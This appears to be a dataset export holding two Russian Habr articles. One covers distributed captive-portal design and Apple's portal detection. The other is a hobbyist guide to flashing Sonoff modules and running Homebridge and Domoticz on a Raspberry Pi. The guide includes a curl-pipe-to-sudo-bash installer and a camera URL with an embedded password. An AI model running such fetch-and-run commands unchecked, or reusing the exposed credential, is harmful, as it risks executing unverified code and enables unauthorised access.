text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Распределённый Captive Portal в публичных местах и сложности с Apple
Почитав [про метро](http://habrahabr.ru/post/251599/), хотел было комментировать, но решил написать отдельно.
Мы участвовали в создании публичных сетей с распределёнными captive portal и наступали практически на все грабли, поэтому хочу поделиться опытом.
Для начала — немного теории о том, как это работает и чем распределённые порталы отличаются от централизованных. Идеологически то, что мы привыкли называть Captive Portal, на самом деле состоит из трёх компонентов:
**web frontend** — предназначен для взаимодействия с пользователем, сбора информации методом заполнения форм и показа ему рекламы. Если мы собираемся просить пользователя вводить личную информацию и пароли, то следует использовать https, соответственно, на сервер нужен нормальный сертификат. Если собираемся просить поставить галочку под соглашением пользователя, то достаточно http.
**собственно captive portal** — это некий агент, призванный получать информацию, собранную с помощью web frontend, анализировать её, возможно делать от своего имени уточняющие запросы (например, в RADIUS) и по результатам сообщать о своём решении либо непосредственно пользователю, либо ему же посредством web frontend. В случае положительного решения captvie portal приоткрывает для данного пользователя необходимые отверстия в firewall. По истечении заданного промежутка времени отверстия закрываются и мы имеем пользователя обратно в web frontend. Досрочно портал закрывается по неактивности пользователя. Зачастую единственной причиной ограничения времени сессии является желание снова показать пользователю рекламу (если мы не хотим выступать как в метро, уродуя дизайн других сайтов)
**firewall** — ведает доступом отдельных пользователей в сеть. В случае отсутствия доступа по идейным соображениям — выполняет перенаправление пользователя в web frontend. В случае отсутствия доступа по техническим причинам (не пингуется gateway) можно поручить firewall выполнять перенаправление пользователя на специальную страничку «сервиса нет, но мы чиним изо всех сил».
В случае централизованного captive portal все три компонента очевидным образом располагаются на одной машине (устройстве), что сильно упрощает задачу. Firewall в данном случае часто исполняет ещё и NAT, а captive portal можно реализовать в виде кучки скриптов, которые подкручивают локальный iptables. Возникает труднопреодолимое желание натолкать в сеть дешёвых точек доступа, которые свалят нам всех пользователей в ethernet или в самом лучшем случае — в отдельный vlan. Какие здесь проблемы:
* Проблемы с безопасностью. Мы ограничиваем доступ к внешнему каналу, однако в локальной сети всё плохо. Поскольку сеть открытая, любой пользователь может отвечать на arp от имени нашего default gateway, получать трафик пользователей и заниматься фишингом. Не возбраняется поставить свой сервер DHCP и в некой дельта-окрестности стремать пользователей заявлениями типа «ваш браузер безнадёжно устарел». Если ваш captive portal и пользователя разделяет роутер, то у вас нет возможности контролировать на captive portal соответствие mac и ip со всеми вытекающими. Коммуникация между беспроводными клиентами становится возможной. Вы можете на дешёвой точке запретить коммуницировать беспроводным клиентам, но клиенты других точек видны уже по ethernet.
* Проблемы с трафиком. Имеем в локальной сети много лишнего трафика. Желательно до открытия captive portal клиентов дальше точки доступа не пускать.
* Проблемы с масштабируемостью. При большом числе клиентов проблемным может стать любой из трёх компонентов портала.
Как вы уже догадываетесь, распределённый captive portal призван решать все эти проблемы. Говоря «распределённый», мы предполагаем, что компоненты могут размещаться на разных устройствах. Это позволит нам создать надёжную систему, которая обеспечит нужный уровень безопасности и сервиса, при этом обладая большими возможностями по масштабированию. Проблему, которую нам предстоит решить — обеспечить взаимодействие между компонентами captive portal. Где же следует располагаться компонентам решения?
Firewall должен находиться максимально близко к клиенту, т.е. однозначно в точке доступа. Поскольку точек доступа несколько и в каждой из них — свой firewall, то их работа должна быть синхронизирована в рамках некоторого пространства или местности, в пределах которой предполагается роуминг клиентов. В противном случае клиенты при роуминге будут испытывать проблемы с коммуникацией. В современных сетях задача синхронизации работы чего-либо внутри некой области (RF-домена) выполняется с помощью назначаемых арбитров (менеджеров RF-домена) и была решена в стародавние времена безотносительно к задаче реализации распределённого captive portal. Для этой системы синхронизация работы firewall — просто ещё один из процессов, который должен выполняться в домене согласованно, наряду (например) с коммутацией трафика, синхронизацией конфигураций точек или сбором статистики.
Место расположения web frontend сильно зависит от сложности задач, которые ему предстоит решать. Если надо показывать странички, не предполагающие server side processing или каких-то сложностей типа рассылки СМС, то вполне можно обойтись сервером на точке доступа. Он, опять же, располагается максимально близко к клиенту и обеспечивает наиболее эффективное с ним взаимодействие. Синхронизацией контента веб серверов на разных точках доступа займётся (сюрприз) менеджер RF-домена.
Место расположения captive portal зависит от положения web frontend и доступности точек. Поскольку задачей captive portal является подкручивание firewall, то он должен иметь своё представительство (агента) на каждой точке. Тем не менее, web frontend может коммуницировать с любой из копий этих агентов, ибо их состояние (вы уже догадались) также синхронизируется в рамках домена.
Таким образом, мы добиваемся ситуации, при которой для клиента, успешно прошедшего авторизацию, captive portal открывается сразу во всём домене и после этого в любой момент на всех точках доступа домена firewall для этого клиента настроен одинаково.
##### Тонкости
Метод взаимодействия с captive portal. Нам нужен механизм, с помощью которого мы можем сообщить порталу результаты взаимодействия с пользователем. В нашем случае в качестве такого механизма был выбран HTTP GET. При необходимости приоткрыть портал мы посылаем HTTP GET в любое из его представительств. Состав передаваемых в GET параметров зависит от режима, в котором работает портал. Здесь несколько вариантов:
* Портал открывается всегда. Возможно занести запись об этом в log.
* Портал открывается при наличии в GET переменной, отражающей согласие с условиями (agreement).
* В GET передаются username и password, портал сам лезет в RADIUS с этими атрибутами и открывается, получив оттуда ACCEPT.
* В GET передаётся один (универсальный) атрибут, портал указывает его и как username и как password при обращении в RADIUS и открывается, получив ACCEPT. Понятно, что такой пользователь должен быть в RADIUS
Всё, что за пределами этой логики, требует реализации в web frontend. Например, можно спросить у пользователя телефон, послать ему смс, проверить код. По результатам — зарядить в радиус пользователя (например) с username=номер\_телефона и password=его\_IP и дальше послать GET в портал с этими значениями.
Как портал, получив GET, разбирается о каком пользователе идёт речь? При переадресации пользователя в web frontend портал приделывает к вызову довольно длинную переменную, которую мы должны вернуть ему в неприкосновенности среди параметров запроса на открытие портала.
В идеале, точка выполняет бриджинг (форвардинг 2-го уровня) между SSID и неким vlan в проводах. То есть firewall работает на втором (MAC) уровне. Поскольку firewall видит прилетевший из недр вашей сети DHCP offer клиенту, он точно знает его IP, сам отвечает вместо клиента на ARP и жёстко фильтрует весь ARP и DHCP на беспроводном сегменте.
Отсутствие у точки IP-адреса в пользовательском vlan исключает возможность коммуникации пользователя непосредственно с точкой. Однако, иногда нам такая возможность необходима — при расположении web и портала прям на точке. В этом случае используется фиктивный адрес 1.1.1.1
##### При чём тут Apple
И почему мы везде, как и в метро, убеждаем айфончеги, что портала нет.
По тому, как айфончики ведут себя в беспроводных сетях, у меня сложилось стойкое убеждение, что создатели этого мегапродукта предполагали только один сценарий, а именно — **одна точка доступа**. То есть либо дома, либо в кафе для хипстеров. Во втором случае есть неиллюзорный шанс встретиться с captive portal.
Что предпринимает айфончик, встретив несколько точек с одним SSID и captive portal? Он пробует **все** доступные. На каждой он подключается, просит адрес, проверяет рандомный url из своего длинного списка (раньше он был один), понимает, что тут captive, отдаёт адрес (dhcp release) и отключается. Поскольку в нашем случае один SSID светит с каждой точки и в 2.4 и в 5GHz, всё умножается на два. Придя к логичному заключению «да тут везде засада!», айфончик снова подключается к одной из точек и рисует свой минибраузер. В терминологии наших заказчиков и клиентов этот процесс называется «Мой последний айфон очень долго подключается к вашей сети» и «у меня дома всё летает на точке за 1000 р.» В случае скоординированной сети (не отдельных точек) при каждом подключении точка посылает сообщение менеджеру домена «у нас новый пассажир», а в случае MESH — параллельно ещё и туда. Весь процесс занимает до 20 секунд.
Что предпринимает айфончик, встретив одинаковый SSID сразу в 2.4 и в 5GHz? Вы думали, что сможете балансировать клиентов между каналами, точками и диапазонами, максимально используя возможности клиентов и пропускание сети? Только не с продуктами Apple! Со стороны сети, слыша от клиента запросы в обоих диапазонах, мы вправе предполагать, что сможем вынудить клиента подключиться куда нам надо, пропуская запросы к тем точкам, куда мы не хотим, чтобы он подключался. Обычно клиенты понимают намёк и подключаются, например, в 5Ghz. Айфон будет ломиться в 2.4 до последнего. Для упорных есть отдельный счётчик (20 запросов подряд по умолчанию). Тоже занимает время.
Два описанных процесса происходят не только при подключении к сети, но и при роуминге, если отойти достаточно далеко. О, да здесь новые точки. Ну-ка, проверим…
Что предпринимает айфончик, если он запустил минибраузер и нам (вдруг) надо прислать клиенту СМС? Он показывает смс в маленьком окошке сверху с временем экспозиции порядка 3 секунд. Блондинка не в состоянии за это время запомнить 6 (шесть!) цифр. Окошко уезжает, пользователь тычет пальчиком в смс, минибраузер закрывается, dhcp release, disconnect, welcome to 3G. Пользователь с горем пополам запоминает код, лезет в settings, подключается к сети, введите номер телефона, получите новый смс. И далее, и далее… В терминологии заказчиков и пользователей это называется «на моём последнем айфоне не работает ваш каптив портал» и «даже в метро уже починили».
Ситуацию можно поправить, пересылая в web frontend MAC пользователя (мы умеем), запоминать там, что мы ему уже посылали смс и при втором заходе спрашивать уже код. Ибо куки этот минибраузер не поддерживает.
В чём причина такого малоадекватного поведения? Всё просто: создатели прибора ставили целью не оставить вас без связи.
Предположим, вы пришли в гости. Там — закрытая сеть, но добрые хозяева сообщили вам пароль и voilà — вот он интернет. Ваш смартфон сеть запомнил и во время вашего следующего визита подключился к ней уже автоматически. Но хозяева забыли заплатить провайдеру и на этот раз дальше роутера вас не пустили. То есть вы ничего не делали, даже не брали в руки телефон, но, сами того не подозревая, оказались без связи с внешним миром. Это очень плохо. Чтобы этого избежать, современные мобильные устройства выполняют при подключении некий многоступенчатый процесс, цель которого — не оставить вас без связи:
1. Не можем получить IP — отключаемся
2. Не видим ARP с default gateway — отключаемся
3. Не отвечает ни один DNS из списка — отключаемся
4. Запрашиваем некий url с одного из своих доменов — надеемся увидеть
```
SuccessSuccess
```
В случае успеха последнего шага предполагаем, что интернет есть и слезаем с 3G. И так делаем при каждом подключении к wifi. Даже дома.
Если вместо «Success» наблюдаем что-то не то — вот он captive portal. Пора запускать минибраузер. Не смог пользователь за один раз договориться с порталом в окошке — отключаемся. Проблема с айфоном состоит в том, что он до последнего надеется на лучшее. Если вы просите подключиться к сети, и её видно на более, чем одной точке — будут перепробованы все варианты. Убьётся время. Большинство устройств, увидев портал, предполагают, что он тут везде, наверное.
Единственная возможность прекратить метания — выполнить обход обнаружения портала. Возможно осуществить двумя способами — фильтрацией «User-Agent: CaptiveNetworkSupport» или пропускать трафик по некоторому списку доменов. В метро, например, работает iMessage при закрытом портале.
В результате обхода портала сеть видно либо никак либо не всю. В любом случае, это — очень плохо, потому что, фактически оставляет пользователя без связи незаметным для него образом.
На нашем оборудовании обнаружение выключается одной командой:
```
ap7131-ABCDEF(config-captive-portal-XXXXX)#bypass ?
captive-portal-detection Captive portal detection requests(e.g., Apple
Captive Network Assistant
ap7131-ABCDEF(config-captive-portal-XXXXX)#bypass captive-portal-detection
``` | https://habr.com/ru/post/252263/ | null | ru | null |
# Мой опыт создания «без умного» дома
Пришло и мое время поделится своим опытом создания «без умного» дома. Вступать в полемику, что же все таки такое умный дом и что он должен уметь делать, не очень хочется. В моем случае будем приручать wifi модули Sonoff от компании ITEAD и учиться включать/выключать «нагрузку» с телефона. В публикации пойдет речь, как прошить модуль, подключим к модулю сенсор температуры/влажности, научимся управлять модулем через приложение HomeKit («Дом») и Siri. Добавим ко всему этому систему управления умным домом Domoticz на raspberry pi. Добавим wifi к кофемашине и научим Siri открывать домофон.
Заказал на пробу три обычных модуля sonoff и один SV (Safe Voltage). На момент заказа, обычный модуль 4,85 вечно зеленых, по акции, хотя акция выглядит бессрочной. SV в аналогичную цену 4,85. С доставкой в Украину получилось общая стоимость 26 зеленых. Китай он и в Африке Китай, деньги ушли, а товар еще надо недельки три ожидать, а может и больше. Можно конечно было купить и в Украине и не ждать, но тогда чуть дороже.
Радости первых шагов на пути у «без умного» дома
------------------------------------------------
Пришло четыре модуля, обычные упакованы в коробочках, а SV просто в антистатическом пакете. Корпус и размеры порадовали.
Процесс установки родного софта e-Welink и подключения модуля к домашней сети не буду описывать, инструкций на любых языках на просторах интернета, бери — не хочу.
Недолго думая идем в коридор и добавляем этот модуль в светильник потолочный. Модуль маленький, в светильнике места много. В коридоре часто остается включенный свет и теперь можно лежа в кровати перед телевизором выключать свет. В квартире везде уже сделан ремонт и установлены обычные выключатели. Ремонт не трогаем и пользуемся уже существующей проводкой.
Получается следующая логика работы:
— Выключатель выключен, то и модуль тоже не работает;
— Выключатель включен, то свет можно выключать с приложения;
— Выключатель включен и свет выключили через приложение, то для включения света надо сделать выкл/вкл на выключателе, предварительно поставив в настройках модуля «электропитание на участке» ВКЛ (при включении модуля реле открыто) и свет включится.
Радуемся.
Второй модуль добавил в светильник в спальне. Тут светильник не такой просторный оказался как в коридоре. Пришлось корпус немного подпилить и кнопку уменьшить/обрезать, не помещалось по высоте. После чего модуль аккуратно спрятан в светильник.
### Переделываем выключатель под кнопку
В квартире установлены выключатели Schneider серии Unica. Переделать такой выключатель можно установив под клавишу пружину и место уже заранее подготовлено.
Как пишут на просторах интернета, можно пробовать пружинку от шариковых ручек. Мои попытки установить пружину из шариковой ручки не дал успеха. Очень слабая пружина и не хватает жесткости вернуть клавишу исходное положение.
Оригинальная шнайдеровская пружина имеет следующие характеристики d=3,6мм, толщина проволоки 0,6мм, высота 10мм. Сам в руках не держал, в продаже не нашел, информацию по пружине нашел на одном из форумов.
Поискав по дому, была найдена похожая пружина, достаточно упругая и успешно добавлена в выключатель. Не потратив и копейки получаем вместо выключателя кнопку.
*Так выглядит выключатель с установленной пружиной.*
Теперь модуль у нас всегда с питаем и в сети. В настройках ставим, что при подачи питания на модуль, модуль меняет состояние реле.
Логика работы в таком случае:
— на модуле sonoff всегда есть питание, включение и выключение света через приложение;
— нажатие кнопки обрывает питание и реле меняет свое состояние на противоположное.
Можем управлять нагрузкой и на выключателе, и через приложение. Родное приложение и модуль работают через какой-то китайский сервер.
Да да, знаю, ночью происходит скачек/отключение-включение напряжения и у нас загорается свет. За время работы модуля ни разу такого пока не случилось, но мы же живем в Украине и заголовки новостей пестрят обещанием веерных отключений.
На столе лежит третий модуль. А тебя ж куда родной? А тебя родной будем ковырять и издеваться!
Установка альтернативной прошивки
---------------------------------
Вскрытие показало, ~~что пациент умер от вскрытия,~~ что есть место под гребенку на 5 пинов.
От кнопки на корпусе (3,3v Rx, Tx, GND, GPIO 14). Паяльник в руки и подключаем usb-to-ttl переходник. В моем переходнике usb-to-ttl имеется 3,3v, от 5v питание подавать на модуль не пробовал и не советую.
Далее уже софтверная часть. На гитхабе есть [прошивка](https://github.com/arendst/Sonoff-MQTT-OTA-Arduino) для таких модулей. Сейчас уже появилась новая версия [прошивки](https://github.com/arendst/Sonoff-Tasmota). Чего же хорошего в этих прошивках? Есть web управление, mqtt протокол, OTA (Over the air) — прошивка по воздуху. Что же касается родной прошивки, то mqtt протокол в обещаниях добавить, OTA тоже есть, но только для своих. Недостаток родной прошивки — работает только при подключении в глобальную сеть. А зачем нам это надо? На данном этапе не надо… тем более мы не знаем, что и куда отправляет наш модуль.
Устанавливаем Arduino IDE. Я установил portable версии 1.8.1. Прошивки требуют версии IDE 1.6.10 или выше.
— Добавляем поддержку модулей ESP8266
— Устанавливаем [pubsubclient](https://github.com/knolleary/pubsubclient)
○ Находим файл src\PubSubClient.h и меняем значение MQTT\_MAX\_PACKET\_SIZE на 400 или более (сейчас версии Тасмота просят значение 500 или выше).
Качаем скетч, компилируем, скрестив пальцы и надеемся, что все прошло без ошибок. Это был не мой случай, читаем ошибку и добавляем необходимые библиотеки которых не оказалось. Пару часов мучений и имеем прошивку без ошибок. (Основная проблема была в том, что Arduino IDE я установил на Win XP). Правим файл с конфигурацией и заливаем нашу прошивку.
Тот немногий минимум, который я правил в User\_config.h.
**User\_config.h**`#define PROJECT "bath" // название проекта - в моем случае это выключатель вытяжки в ванной
#define STA_SSID1 "your_wifi_station_id" // ваша точка доступа
#define STA_PASS1 "your_pass" // пароль к точке доступа
#define STA_SSID2 "your_wifi_station_id_plus" // Можно указывать две точки доступа
#define STA_PASS2 "второй пароль" // пароль ко второй точке доступа
#define SYS_LOG_HOST "192.168.ххх.ххх" // Линукс хост, указываю адрес своей raspberry pi, можно не трогать
//#define USE_I2C // отключаем все не нужные модули
//#define USE_IR_REMOTE
//#define USE_WS2812`
В зависимости от версии, могут добавляться другие настройки, которые без надобности я бы отключал. В последних прошивках (Tasmota), все больше настроек возможно сделать через веб меню настроек и дублируется с User\_config.h.
### Заливка скетча:
— отключаем питание от модуля (любым удобным способом);
— зажимаем кнопку на модуле и подключаем питание. Модуль готов принимать прошивку;
— нажимем ОК в IDE и опять же скрестив пальцы ждем, что б началась заливка прошивка в модуль.
В случае ошибки, проверяем провода, а везде ли у нас хорошо все прикручено, а может не хватает питания от usb-to-ttl и надо взять внешний источник. Танцуем с бубном и повторяем процедуру.
**Важно:** *питание на модуль подается только через пины 3,3в. Подключать его к силовой нагрузке, через питание самого модуля нельзя. Опытные пользователи пишут, что подача 220в на модуль при прошивке превращает его в кирпич, маленький, но кирпич.* Не пробовал, не знаю. Поэтому, при прошивке модуля к нему подключается всего четыре проводка на пины, а все остальное убираем подальше.
Если все ок, после перезагрузки модуль должен подключился к точке доступа, находим ip адрес и заходим на него в браузере.
*Вид стартовой страницы.*
Если модуль не подключился к вашей точке доступа, то продолжаем танцы с бубном. Пути решения есть различные, в пределах этой статьи не буду описывать. Я же, проверял конфиги и просто еще раз прошивал модуль.
Теперь у нас есть web доступ к модулю и его настройкам, mqtt, провода можно убирать в ящик, прошивку/обновление делать по воздуху.
### А где же Сири?
Все это конечно замечательно, пора учиться управлять этим добром с телефона. Попробовал несколько программ с апстора для iфона и не получил ничего интересного. Было принято решение достучаться до приложения «Дом» или же HomeKit, что так же дает возможность управлять модулями через Siri.
Находим на полке Raspberry pi и подключаем к сети. В моем случае уже была «малина», подключенная к сети. Как установить ОС и подключить «малину» описывать нет смысла.
Для общения с HomeKit необходимо установить Homebridge. Homebridge является NodeJS сервером запущенным в вашей локальной сети и эмулирующий iOS HomeKit API.
```
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install git make
sudo apt-get install g++
```
В зависимости от вашей системы, может понадобиться обновление компилятора С++.
Устанавливаем Nodejs. Заходим на хранилище и выбираем подходящий [дистр](https://nodejs.org/dist/). Копируем адрес дистра и дальше по образу и подобию
```
wget https://nodejs.org/dist/v4.0.0/node-v4.0.0-linux-armv6l.tar.gz
tar -xvf node-v4.0.0-linux-armv6l.tar.gz
cd node-v4.0.0-linux-armv6l
sudo cp -R * /usr/local/
```
Я себе установил v6.9.4, сейчас уже есть более новые.
Добавляем другие нужные пакеты:
```
sudo apt-get install libavahi-compat-libdnssd-dev
```
Устанавливаем сам Homebridge:
```
sudo npm install -g --unsafe-perm homebridge
```
Если это не работает, пробуем:
```
sudo npm install -g --unsafe-perm homebridge hap-nodejs node-gyp
cd /usr/local/lib/node_modules/homebridge/
sudo npm install --unsafe-perm bignum
cd /usr/local/lib/node_modules/hap-nodejs/node_modules/mdns
sudo node-gyp BUILDTYPE=Release rebuild
```
После установки Homebridge, необходимо установить еще несколько плагинов, после чего приступаем к изменению настроек Homebridge сервера.
Установка плагинов осуществляется аналогичным путем, как и сам homebridge
```
sudo npm install -g --unsafe-perm homebridge-plugin-name
```
Необходимый плагин находим в [менеджере пакетов](https://www.npmjs.com/browse/keyword/homebridge-plugin). Там же находим пример настроек, которые необходимо будет добавить к нашим настройкам.
Для простого выключателя.
```
npm install -g homebridge-mqttswitch
```
Переходим к настройкам, создаем, если еще не создан, файл конфигурации:
```
sudo nano .homebridge/config.json
```
Файл настройки выглядит следующим образом:
**config.json**
```
{
"bridge": {
"name": "Homebridge",
"username": "CC:22:3D:E3:CE:30",
"port": 51826,
"pin": "031-45-154"
},
"platforms": [
],
"accessories": [
{
"accessory": "mqttswitch",
"name": "Спальня",
"url": "mqtt://192.168.178.123:1883",
"username": "admin",
"password": "admin",
"caption": "room",
"topics": {
"statusGet": "stat/sleeping/POWER",
"statusSet": "cmnd/sleeping/power"
},
"onValue": "1",
"offValue": "0",
"integerValue": "true"
}
]
}
```
Перед сохранением файла настроек проверяем, например [тут](https://jsonlint.com/). После того как сохранили, пробуем запускать:
```
Homebridge
```
Если все запустилось нам напишет, что-то вроде:
```
11:27:43 PM] [Спальня] Initializing mqttswitch accessory...
```
Там же будет указан код 031-45-154 для подключения, если его не меняли в настройках.
Теперь включаем телефон/планешт под управлением iOS. Находим приложение «Дом» или же «HomeKit» → Добавить аксессуар и ждем когда появиться наш аксессуар «Homebridge», добавляем его вводим код, назначаем комнату для выключателя. И вуаля, «Привет Siri, включить/выключить свет в комнате» — заработало. «Привет Сири» на телефонах 5ой серии и ниже работает только при подключении к зарядке.
Если все у нас правильно работает, осталось добавить в автозагрузку Homebridge. [Полная инструкция](https://gist.github.com/johannrichard/0ad0de1feb6adb9eb61a/) на английском. В моем случае через `init.d`, создаем файл `sudo nano /etc/init.d/homebridge`
[Шаблон](https://raw.githubusercontent.com/fhd/init-script-template/master/template) копируем в файл в этот файл и меняем под homebridge
**/etc/init.d/homebridge**`#!/bin/sh
### BEGIN INIT INFO
# Provides: homebridge
# Required-Start: $network $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Start daemon at boot time
# Description: Enable service provided by daemon.
### END INIT INFO
dir="/home/pi"
cmd="DEBUG=* /usr/local/bin/homebridge"
user="pi"`
Cохраняем, выходим.
```
sudo chmod 755 /etc/init.d/homebridge
sudo update-rc.d homebridge defaults
```
Теперь homebridge будет стартовать при старте системы.
### Прикручиваем датчик DHT22 (температура / влажность)
Внимательный читатель заметил, что на гребенке есть 5 пинов и один из них GPIO 14. Опять паяльник берем в руки и подпаиваем три провода к 3,3в, GND, GPIO 14 для датчика температуры влажности DHT22. Можно другой датчик (ds18b20, DHT 11 или другой, который поддерживается прошивкой), но у меня лежал в ящике именно DHT22. Подключение датчика сделал через разъем, который закрепил с боку родного корпуса. При необходимости можно будет подключать другой датчик без скальпеля и паяльника.
На картинке пока только закрепил разъем, провода еще не присоединял. В прошивке Sonoff-MQTT-OTA-Arduino необходимо проверить настройки:
```
#define DHT_PIN 14 // GPIO 14 = AM2301 (Sonoff_TH10A(16A), Sonoff SV)
#define DHT_TYPE AM2301 // DHT module type (DHT11, DHT21, DHT22, AM2301, AM2302 or AM2321)
```
Для прошивки Tasmota, пин и тип датчика можно указать в веб настройках.
Если все правильно подключили и настроили, то зайдя на веб интерфейс, увидим состояние реле и показания датчика. В настройках можно выставить частоту опроса датчика. По умолчанию 300 секунд (5 минут).
Ныряем на поиски плагина для Homebridge для работы с датчиком температуры и влажности. Нам же надо теперь эти показания вывести в приложении. У меня все это получилось сделать, но ИМХО это были мои грабли и не стоит этого делать.
А почему? Все очень просто, просто прикручивать к sonoff датчик нет смысла, надо исходя из этих показаний что-то включать/выключать. Но в настройках прошивки такой возможности нет, настроить приложение «Дом»/HomeKit для таких целей возможно, но необходим планшет, который будет постоянно дома или apple tv. Наличие в прошивке возможности общаться с Domoticz, привело меня на этом тернистом пути к установке системы управления умным домом Domoticz.
В виде небольшого лирического отступления скажу, пробовал подключать к homebridge плагины которые позволяют передавать RTSP поток с веб-камеры. У меня есть ip-camera TOP-201 от китайский собратьев.
Устанавливаем плагин:
```
npm install -g --unsafe-perm homebridge-camera-ffmpeg
```
Добавляем в файл настроек:
**config.json**
```
"platforms": [{
"platform": "Camera-ffmpeg",
"cameras": [
{
"name": "top-201",
"videoConfig": {
"source": "-re -i rtsp://admin@192.168.178.10:554/user=admin_password=tlJwpbo6_channel=1_stream=0.sdp?real_stream",
"maxStreams": 2,
"maxWidth": 640,
"maxHeight": 480,
"maxFPS": 3
}
}
]
```
Дополнительно в приложении HomeKit появляется картинка с камеры, но все это работало очень тормознуто и необходимости в данной камере не было. Что б излишне не грузить систему, удалил ip-камеру. Вернемся к установке системы для управления «без умным» домом.
### Установка и настройка Domoticz для модулей Sonoff
Putty → ssh → и опять мы ковыряем малинку. На удивление, установка в моем случае не потребовала танцев с бубном и достаточно было
```
sudo curl -L install.domoticz.com | sudo bash
```
Добавляем автозапуск:
```
sudo cp domoticz.sh /etc/init.d
sudo chmod +x /etc/init.d/domoticz.sh
sudo update-rc.d domoticz.sh defaults
```
При необходимости меняем некоторые настройки:
```
sudo nano /etc/init.d/domoticz.sh
```
Открываем адрес малины [192.168.ххх.ххх](http://192.168.ххх.ххх):8080. И должны попасть на страничку домотикс. Далее настройка и добавление датчиков уже происходит через веб.
*На скришоте уже добавлены датчики sonoff и уличный датчик.*
Для добавления датчиков/выключателей заходим в Setup → hardware и добавляем Dummy (Does nothing, use for virtual switches only). В списке устройств появится наш «Dummy». Кликнув по нему на Create virtual sensor, называем наш сенсор/выключатель и из списка выбираем необходимый тип. Теперь во вкладке Setup → Devices появиться новое устройство и там же теперь можно посмотреть idx устройства.
Отрываем веб-морду нашего выключателя/сенсора и сохраняем сonfiguration → domoticz → idx нашего выключателя. В новых прошивках Tasmota, есть возможность задавать несколько idx. Для реле/выключателя и отдельно для GPIO. В зависимости от модуля, это может быть дополнительно один датчик или больше, так как в SV версии выведено дополнительно три пина, которым можно присваивать их роль в вашей системе (реле/датчики).
В старых прошивках (Sonoff-MQTT-OTA-Arduino) для модуля, пришлось исполнить некоторые танцы с бубном, что б Domoticz увидел показания влажности и температуры. Думаю нет смысла тут это описывать, для новой прошивки (Tasmota) это не понадобиться.
По показаниям влажности можно управлять вытяжкой в ванной. Там, где стоит вытяжной вентилятор места достаточно для модуля и все необходимое у нас уже есть. Осталось только настроить управление по показаниям влажности.
Setup → More options → Events
При помощи конструктора создаем логику работу вытяжки (как на картинке). Можно еще на Lua, но это не мой случай. Дальнейший опыт показал, что 5 минут опрос датчика великоват и я уменьшил до 3х минут. Теперь принимая душ, когда влажность поднимается выше 70% включается вытяжка. В дальнейшем при снижении ниже 45% выключается. Данные по влажности подобрал опытным путем. Единственный минус, а может это и не минус, а фича системы, если принудительно включить вытяжку нажатием кнопки, то через 3 минуты, опросив датчик влажности система выключиться.
А как же Сири? Оказалось, все очень просто.
```
sudo npm install -g -g --unsafe-perm homebridge-edomoticz
```
И добавляем в настройки
```
sudo nano .homebridge/config.json
```
```
"platform": "mqtt",
"name": "mqtt",
"url": "mqtt://127.0.0.1",
"topic_prefix": "homebridge",
"username": "foo",
"password": "bar"
```
И при запуске Homebridge получаем
```
[5/8/2017, 11:42:30 PM] [eDomoticz] You have 10 devices defined in Domoticz.
[5/8/2017, 11:42:30 PM] [eDomoticz] Initializing platform accessory 'bath-temp'...
[5/8/2017, 11:42:30 PM] [eDomoticz] Initializing platform accessory 'Влажность Улица'...
[5/8/2017, 11:42:30 PM] [eDomoticz] Initializing platform accessory 'Влажность ванна'...
[5/8/2017, 11:42:30 PM] [eDomoticz] Initializing platform accessory 'Вытяжка'...
```
Все устройства, которые мы добавили в Домотикз, теперь у нас будут отображаться среди наших устройств в Homekit и можно управлять ими через подругу Siri. Необходимость других плагинов для Homebridge, как-то исчезла.
Имеем связку Domoticz-Homebridge и все очень хорошо и стабильно работает. Уже тестирую не первый месяц.
К Raspberry pi прикручен датчик температуры/влажности DHT22 из прошлых поделок и данные передаются на narodmon.ru скриптом на питоне каждые 10 минут. Добавляем несколько строк в существующий скрипт.
```
#domoticz settings
IP = '192.168.ххх.ххх' #IP domoticz
PORT = '8080' #port of server
IDX_1 = '7' #IDX of the DHT temp sensor
//….другой код, где опрашиваем датчик и отправляем данные на narodmon.ru
url = 'http://{}:{}/json.htm?type=command¶m=udevice&nvalue=0&idx={}&svalue={}'.format(IP, PORT, IDX_1, sensor_value_1)
request = urllib2.Request(url)
response = urllib2.urlopen(request)
```
В Domoticz добавляем еще один virtual sensor. И теперь дополнительно можем видеть температуру и влажность на улице, как через веб на нашей локальной страничке домотикза, так и в приложении на iOS.
Кому ближе mqtt, то показания датчика можно было отправить через mqtt.
```
playload = '{{ "idx": {} , "nvalue" : {}, "svalue" : "1" }}'.format(IDX_1, humidity)
client.publish(TOPIC_DOMOTICZ, playload, qos =0 , retain =False) #publish
```
Добавляем Wifi в кофемашину
---------------------------
Пока моя машинка находится в ремонте и ждет пока приедет из Германии блок управления, в подарок досталась кофемашина Delonghi. На панели имеем кнопку вкл/выкл, готовить маленький, двойной кофе и еще две которыми я не пользуюсь т.к. молоко паром не взбиваю, латте и прочие напитки не употребляю. Недостаток, кофе не перемалывает сама, надо заправлять уже молотым и на одну чашку.
Для кофемашины использую Sonoff SV. Пины 3,3v, Rx, Tx, GND подписаны. Отдельно на плату еще выведены GPIO 4, 5, 14. Прошивка по той же процедуре, которая была описана выше.
Вскрываем аппарат и добираемся до платы с кнопками.
На плате присутствует питание 5в, чего вполне достаточно для питания нашего беспроводного модуля sonoff sv. Труда не составило найти где же у нас заветные 5в.
Нажатие кнопок, просто закорачивают сигнал на землю. Подключаем наш модуль по схеме.
Как видно по схеме, я сделал подключение всего двух кнопок: вкл/выкл и приготовить кофе. По аналогии можно было сделать и все остальные кнопки. На sonoff sv у нас есть 3 пина выведенные на плату, реле, а так же можно задействовать Rx, Tx ( в последней прошивке Tasmota).
Собираем все по схеме, находим подходящее места внутри кофеаппарата. В настройках модуля в веб интерфейсе добавляем на GPIO5 второе реле. В меню «консоль» поставил следующие настройки:
```
PowerOnState 0 // при включении питания, реле всегда в выключенном состоянии.
PulseTime1 10 // время в 0,1с , через которое происходит выключение реле
PulseTime2 10 //имитируется нажатие кнопки в течении 1 секунды. 1 и 2 для первого и второго реле.
```
В настройках домотикз создаем еще два «virtual sensor» и их idx добавляем в настройка модуля в меню настроек домотикз (Configuration → Configure Domoticz → IDX 1 и IDX 2).
В результате получаем еще два выключателя, один из которых нажимает кнопку вкл/выкл кофемашины и второй нажимает кнопку приготовления кофе.
